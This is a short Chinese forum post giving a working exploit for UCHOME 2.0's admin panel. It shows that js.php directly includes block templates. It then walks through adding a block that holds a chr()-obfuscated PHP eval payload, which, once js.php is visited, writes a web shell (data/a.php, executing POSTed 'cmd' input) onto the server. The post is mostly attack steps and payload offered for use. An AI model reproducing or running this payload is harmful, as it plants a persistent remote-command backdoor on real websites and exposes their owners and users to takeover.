UCHOME 2.0 后台GET Shell

作者: alibaba

首发:t00ls.net , 转载请注明 t00ls

还记得陆羽那个UCHOME 2.0 后台GET Shell吧?

官方真的修复了吗?下面我们来看看代码

js.php

        $s = array("/(\r|\n)/", "/\<div\s+class=\"pages\"\>.+?\<\/div\>/is", "/\s+(href|src)=\"(.+?)\"/ie");
        $r = array("\n", '', "js_mkurl('\\1', '\\2')"); //官方修复这里,使用单引号闭合, 貌似完美修复

但其实这个js.php还有一处存在漏洞,就在旧漏洞的前几行,非常明显 漏洞利用:

        include template("data/blocktpl/$id"); //就是这里,直接include
       
        $obcontent = ob_get_contents();
        obclean();
       
        $s = array("/(\r|\n)/", "/\<div\s+class=\"pages\"\>.+?\<\/div\>/is", "/\s+(href|src)=\"(.+?)\"/ie");
        $r = array("\n", '', "js_mkurl('\\1', '\\2')"); //官方修复这里,使用单引号闭合, 貌似完美修复

步骤和路羽的一样

1. admincp.php?ac=block&op=add 添加一个新模块
2. 数据显示Html代码处使用<?php ?>闭合数据:

<?php eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))?>

3. 保存后检查一下ID,如果ID是1,则访问一下js.php?id=1
4. 访问后data 目录下多出了一个a.php